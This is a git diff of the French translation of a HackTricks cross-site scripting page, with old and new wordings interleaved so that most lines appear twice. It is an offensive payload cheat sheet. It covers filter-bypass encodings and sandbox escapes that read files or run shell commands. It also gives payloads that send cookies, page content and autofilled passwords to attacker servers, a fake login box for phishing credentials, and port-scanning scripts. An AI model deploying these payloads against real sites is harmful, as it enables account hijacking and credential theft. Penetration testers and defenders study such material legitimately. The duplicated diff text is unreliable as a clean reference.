### Modèles de chaînes de caractères \`\`
Pour construire des **chaînes de caractères** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de gabarit car ils permettent d'**inclure des expressions JS** en utilisant la syntaxe `${ ... }`.\
Par conséquent, si vous constatez que votre entrée est **reflétée** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
Cela peut être **abusé** en utilisant :
```javascript
@ -505,7 +507,7 @@ loop``````````````
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
```
### Exécution JS encodée en Unicode
### Encodage Unicode pour l'exécution de JS
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -513,7 +515,7 @@ loop``````````````
```
### Techniques de contournement des listes noires JavaScript
**Strings**
**Chaînes de caractères**
```javascript
"thisisastring"
'thisisastrig'
@ -544,12 +546,12 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab
// Any other char escaped is just itself
```
**Substitutions d'espaces dans le code JS**
**Substitutions d'espaces à l'intérieur du code JS**
```javascript
<TAB>
/**/
```
**Commentaires JavaScript (de la technique** [**Commentaires JavaScript**](./#javascript-comments) **)**
**Commentaires JavaScript (astuce de** [**Commentaires JavaScript**](./#javascript-comments)**)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -557,7 +559,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Sauts de ligne JavaScript (depuis** [**Saut de ligne JavaScript**](./#javascript-new-lines) **astuce)**
**Nouvelles lignes JavaScript (à partir de** [**astuce de nouvelle ligne JavaScript**](./#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -729,21 +731,21 @@ top[8680439..toString(30)](1)
````
## **Vulnérabilités DOM**
Il existe du **code JS** qui utilise de manière **non sécurisée des données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\
**En raison de l'extension de l'explication sur** [**les vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)** :**
Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Vous y trouverez une **explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter**.\
N'oubliez pas non plus qu'**à la fin du post mentionné**, vous pouvez trouver une explication sur les [**attaques de DOM Clobbering**](dom-xss.md#dom-clobbering).
Là, vous trouverez une **explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter**.\
N'oubliez pas qu'**à la fin de l'article mentionné**, vous trouverez une explication sur les [**attaques de DOM Clobbering**](dom-xss.md#dom-clobbering).
## Autres Contournements
## Autres contournements
### Unicode Normalisé
### Unicode normalisé
Vous pourriez vérifier si les **valeurs reflétées** sont **normalisées en unicode** sur le serveur (ou côté client) et exploiter cette fonctionnalité pour contourner les protections. [**Trouvez un exemple ici**](../unicode-injection/#xss-cross-site-scripting).
Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en Unicode** sur le serveur (ou côté client) et abuser de cette fonctionnalité pour contourner les protections. [**Trouvez un exemple ici**](../unicode-injection/#xss-cross-site-scripting).
### Contournement du drapeau PHP FILTER\_VALIDATE\_EMAIL
```javascript
@ -751,12 +753,12 @@ Vous pourriez vérifier si les **valeurs reflétées** sont **normalisées en un
```
### Contournement Ruby-On-Rails
En raison de **l'assignation de masse RoR**, les guillemets sont insérés dans le HTML, puis la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
Par exemple, si vous envoyez le payload (d'après [ce rapport](https://hackerone.com/reports/709336)) :
En raison des **affectations de masse RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
Par exemple, si vous envoyez la charge utile :
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
La paire "Key", "Value" sera renvoyée comme ceci :
La paire "Clé","Valeur" sera renvoyée comme ceci :
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -764,7 +766,7 @@ Ensuite, l'attribut onfocus sera inséré :
![](<../../.gitbook/assets/image (107).png>)
Un XSS se produit.
Une XSS se produit.
### Combinaisons spéciales
```markup
@ -798,22 +800,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS avec injection d'en-tête dans une réponse 302
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pourriez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code d'état de la réponse HTTP est un 302, donc juste un payload de cross-site scripting est inutile.
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pourriez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code d'état de la réponse HTTP est 302, donc un payload de script entre sites est inutile.
Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) vous pouvez lire comment vous pouvez tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter le payload XSS à l'intérieur du corps.\
Protocoles connus dans le passé : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en-tête Location vide_, `resource://`.
Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), vous pouvez lire comment tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter le payload XSS à l'intérieur du corps.\
Protocoles connus : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en-tête Location vide_, `resource://`.
### Seulement des Lettres, des Chiffres et des Points
### Uniquement des lettres, des chiffres et des points
Si vous êtes capable d'indiquer le **callback** que le javascript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour trouver comment abuser de ce comportement.
Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour découvrir comment abuser de ce comportement.
### Types de contenu `<script>` valides pour XSS
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si vous essayez de charger un script avec un **type de contenu** tel que `application/octet-stream`, Chrome affichera l'erreur suivante :
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si vous essayez de charger un script avec un **type de contenu** tel que `application/octet-stream`, Chrome affichera l'erreur suivante :
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Les seuls **Content-Type**s qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -844,7 +846,7 @@ const char* const kSupportedJavascriptTypes[] = {
La réponse est:
* **module** (par défaut, rien à expliquer)
* [**webbundle**](https://web.dev/web-bundles/) : Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier **`.wbn`**.
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**.
```html
<script type="webbundle">
{
@ -871,9 +873,9 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Ce comportement a été utilisé dans [**ce compte-rendu**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin de l'exploiter et déclencher un XSS.
Ce comportement a été utilisé dans [**cette explication**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'abuser et déclencher une XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)** :** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne de la manière suivante :
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne de la manière suivante :
```html
<script type="speculationrules">
{
@ -891,7 +893,7 @@ Ce comportement a été utilisé dans [**ce compte-rendu**](https://github.com/z
```
### Types de contenu Web pour XSS
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
* text/html
* application/xhtml+xml
@ -902,7 +904,7 @@ Ce comportement a été utilisé dans [**ce compte-rendu**](https://github.com/z
* application/rss+xml (désactivé)
* application/atom+xml (désactivé)
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, voir : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### Type de contenu xml
@ -914,21 +916,21 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Modèles de remplacement spéciaux
### Modèles de Remplacement Spéciaux
Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}", <user_input>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) pour essayer de contourner certaines protections : ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", <entrée_utilisateur>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))``
Par exemple dans [**ce compte-rendu**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper à une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
### Cache Chrome vers XSS
### Chrome Cache to XSS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %}
### Évasion des prisons XS
### Évasion des Prisons XS
Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes de XSJail :
Si vous avez seulement un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes de XSJail :
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -959,16 +961,16 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**ce compte-rendu**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code arbitraire non fiable :
Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cette explication**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
* En utilisant import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Accéder à `require` indirectement
* Accès indirect à `require`
[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont encapsulés par Node.js dans une fonction, comme ceci :
[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci :
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -980,9 +982,7 @@ Par conséquent, si à partir de ce module nous pouvons **appeler une autre fonc
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
```markdown
De manière similaire à l'exemple précédent, il est possible **d'utiliser les gestionnaires d'erreurs** pour accéder au **wrapper** du module et obtenir la fonction **`require`** :
```
De manière similaire à l'exemple précédent, il est possible d'utiliser des **gestionnaires d'erreurs** pour accéder à l'**enveloppe** du module et obtenir la fonction **`require`**:
```javascript
try {
null.f()
@ -1019,7 +1019,7 @@ console.log(req('child_process').execSync('id').toString())
}
trigger()
```
### Obfuscation & Techniques Avancées de Contournement
### Obfuscation & Contournement Avancé
* **Différentes obfuscations sur une seule page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
@ -1054,15 +1054,15 @@ trigger()
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS charges utiles courantes
## Payloads XSS courants
### Plusieurs charges utiles en 1
### Plusieurs payloads en 1
{% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md)
{% endcontent-ref %}
### Récupérer les Cookies
### Récupérer les cookies
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1085,10 +1085,10 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais voici [quelques méthodes pour contourner cette protection](../hacking-with-cookies/#httponly) si vous avez de la chance.
Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [quelques façons de contourner cette protection](../hacking-with-cookies/#httponly) si vous avez de la chance.
{% endhint %}
### Voler le contenu d'une page
### Vol de contenu de la page
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
@ -1101,7 +1101,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open('GET', url, true);
xhr.send(null);
```
### Trouver des adresses IP internes
### Trouver les adresses IP internes
```html
<script>
var q = []
@ -1166,15 +1166,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Temps courts indiquent un port qui répond_ _Des temps plus longs indiquent une absence de réponse._
_Les temps courts indiquent un port répondant_ _Les temps plus longs indiquent l'absence de réponse._
Consultez la liste des ports bannis dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Boîte de dialogue pour demander des identifiants
### Boîte pour demander des identifiants
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Capture des mots de passe en auto-remplissage
### Capture automatique des mots de passe
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1185,11 +1185,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Lorsque des données sont saisies dans le champ du mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne tape rien, les identifiants seront exfiltrés.
Lorsque des données sont saisies dans le champ mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne saisit rien, les informations d'identification seront exfiltrées.
### Keylogger
### Enregistreur de frappe
En cherchant sur GitHub, j'ai trouvé plusieurs versions différentes :
En cherchant simplement sur github, j'en ai trouvé quelques-uns différents :
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1219,13 +1219,13 @@ window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### Exploitation des Service Workers
### Abuser des Travailleurs de Service
{% content-ref url="abusing-service-workers.md" %}
[abusing-service-workers.md](abusing-service-workers.md)
{% endcontent-ref %}
### Accès au Shadow DOM
### Accéder au Shadow DOM
{% content-ref url="shadow-dom.md" %}
[shadow-dom.md](shadow-dom.md)
@ -1235,7 +1235,7 @@ document.getElementById("message").src += "&"+e.data;
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### Payloads pour XSS aveugle
### Charges utiles Blind XSS
Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
```markup
@ -1279,7 +1279,7 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com
```
### Regex - Accéder au contenu caché
D'après [**ce compte-rendu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), même si certaines valeurs disparaissent du JS, il est toujours possible de les retrouver dans les attributs JS de différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
D'après [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de découvrir que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée :
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1298,11 +1298,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
## Exploitation de XSS abusant d'autres vulnérabilités
## XSS Abusant d'autres vulnérabilités
### XSS dans Markdown
Peut-on injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obtenir un XSS ! Vérifiez :
Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
{% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md)
@ -1310,17 +1310,17 @@ Peut-on injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obteni
### XSS vers SSRF
Vous avez un XSS sur un **site qui utilise la mise en cache** ? Essayez **d'élever cela à SSRF** en utilisant l'injection Edge Side Include avec ce payload :
Avez-vous obtenu du XSS sur un **site qui utilise le caching** ? Essayez de **le mettre à niveau vers SSRF** en utilisant une Injection Edge Side Include avec cette charge utile :
```python
<esi:include src="http://yoursite.com/capture" />
```
Utilisez-le pour contourner les restrictions de cookies, les filtres XSS et bien plus encore !
Utilisez-le pour contourner les restrictions des cookies, les filtres XSS et bien plus encore!\
Plus d'informations sur cette technique ici: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS dans les PDF créés dynamiquement
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.
Ainsi, si le **bot créateur de PDF trouve** des **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour **exécuter du code JS arbitraire**.\
Ainsi, si le **bot créateur de PDF trouve** des sortes de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1334,15 +1334,15 @@ Si vous ne pouvez pas injecter de balises HTML, il pourrait être utile d'essaye
### XSS dans Amp4Email
AMP est une technologie connue pour le développement de pages web super rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permet facilement de fonctionnaliser avec un accent particulier sur la performance et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points de terminaison distants.
AMP est une technologie connue pour développer des pages web super rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement des fonctionnalités avec un accent supplémentaire sur la performance et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants.
Le format [**AMP pour Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent visualiser et interagir avec les composants AMP directement dans l'e-mail.
Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent voir et interagir avec les composants AMP directement dans l'e-mail.
Exemple [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Exemple de [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS lors du téléchargement de fichiers (svg)
### XSS téléchargement de fichiers (svg)
Téléchargez comme image un fichier comme le suivant (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)) :
Téléchargez en tant qu'image un fichier comme celui-ci (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1400,7 +1400,7 @@ id="foo"/>
```
Trouvez **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Astuces JS Diverses & Infos Pertinentes
## Astuces JS diverses et informations pertinentes
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
@ -1416,10 +1416,10 @@ Trouvez **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-ch
### OUTILS XSS
Trouvez des [**outils pour XSS ici**](xss-tools.md)**.**
Trouvez quelques [**outils pour XSS ici**](xss-tools.md)**.**
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Conseil pour les primes de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de primes de bugs premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
**Conseil de prime de bug**: **inscrivez-vous** pour **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -1427,12 +1427,12 @@ Trouvez des [**outils pour XSS ici**](xss-tools.md)**.**
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

112
pentesting-web/xss-cross-site-scripting/pdf-injection.md
View file

@ -1,111 +1,33 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
